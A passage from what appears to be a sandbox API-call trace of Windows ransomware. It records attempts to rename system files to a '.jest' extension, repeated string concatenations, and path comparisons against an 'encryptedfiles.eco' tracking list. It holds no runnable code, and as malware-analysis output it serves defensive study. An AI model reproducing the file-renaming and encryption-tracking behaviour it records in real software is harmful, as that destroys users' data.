returned 1 [0125.821] GetTickCount () returned 0x1151e79 [0125.821] IsWindowVisible (hWnd=0x30268) returned 0 [0125.821] Sleep (dwMilliseconds=0x0) [0125.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.821] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0125.822] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_h.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_h.png.jest")) returned 0 [0125.822] GetLastError () returned 0x5 [0125.822] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷彲⹨湰g") returned 0x4f [0125.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0125.822] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷彲⹨湰g") returned 0x4f [0125.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=80, lpWideCharStr=0x14cf144, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png") returned 80 [0125.822] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷彲⹨湰⹧敪瑳") returned 0x54 [0125.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0125.822] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥晜潬敷彲⹨湰⹧敪瑳") returned 0x54 [0125.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=85, lpWideCharStr=0x1445ffc, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png.jest") returned 85 [0125.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png", lpUsedDefaultChar=0x0) returned 80 [0125.823] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png", lpFilePart=0x18e6d8*="flower_h.png") returned 0x4f [0125.823] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d2bdc8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d2bdc8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4f3781c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x78, dwReserved1=0x0, cFileName="flower_h.png", cAlternateFileName="")) returned 0x143ce48 [0125.824] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.824] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.824] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x2be)) [0125.824] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x2be)) [0125.824] GetUserDefaultLCID () returned 0x409 [0125.824] VarBstrFromR4 (in: fltIn=0x479444da, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.7") returned 0x0 [0125.824] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0125.825] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0125.825] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0125.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.825] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.825] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0125.826] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0125.826] GetTickCount () returned 0x1151e89 [0125.826] GetTickCount () returned 0x1151e89 [0125.826] GetTickCount () returned 0x1151e89 [0125.826] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.826] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.826] GetTickCount () returned 0x1151e89 [0125.826] IsWindowVisible (hWnd=0x30268) returned 0 [0125.826] Sleep (dwMilliseconds=0x0) [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.827] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.828] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.829] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.830] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.831] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.832] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.833] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.833] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.833] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.833] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.833] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.833] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.833] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.833] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.833] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.833] GetFullPathNameA (in: lpFileName="M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpFilePart=0x18e708*="M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp") returned 0x8f [0125.833] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0125.833] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0125.833] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0125.833] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0125.833] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0125.833] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0125.833] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0125.833] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0125.834] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS 